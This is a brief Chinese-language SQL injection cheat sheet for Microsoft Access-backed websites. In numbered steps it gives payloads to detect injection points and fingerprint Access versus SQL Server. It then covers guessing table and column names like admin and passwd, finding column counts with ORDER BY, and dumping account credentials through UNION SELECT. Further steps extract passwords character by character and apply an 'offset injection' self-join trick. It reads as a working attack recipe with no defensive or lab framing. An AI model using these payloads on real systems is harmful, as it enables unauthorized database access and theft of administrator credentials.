ACCESS注入
一:判断注入点
‘ 报错
and 1=1 正确
and 1=2 报错
or 1=1 报错
or 1=2 正确
and 1=111
判断是否带入连接查询:返回正确的话带入连接查询。报错则不带入。
二:判断数据库类型
and exsits (select * from msysobjects) >0 ACCESS
and exsits (select * from sysobjects) >0 SQL server
三:判断数据库表
and exists(select * from admin) 判断存不存在这个表
四:判断字段名
and exists(select 猜测的字段名 from admin)
五:判断字段长度
order by 猜测的长度
六:报错
and 1=2 union select 1,2,3,4,5,6...,字段长度 from admin
例:报错3和5,将3和5改成admin和passwd爆出账号密码
七:判断账号密码的长度、内容
and (select len(字段名) from 表名)=猜测长度
and (select top 1 asc(mid(列名,第几位,1)) from 表名)=97 a
八:偏移注入
1、利用“*”代替admin表内存在的字段,从最后的字段开始逐步测试,直到返回正常。
2、基本公式:order by出的字段数减去*号的字段数,然后再用order by的字段数减去2倍刚才得出来的答案
3、union select 1,2,3,4,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id = b.id)
#这里union select 1,2,3,4 顾名思义就是基础公式得出来的长度。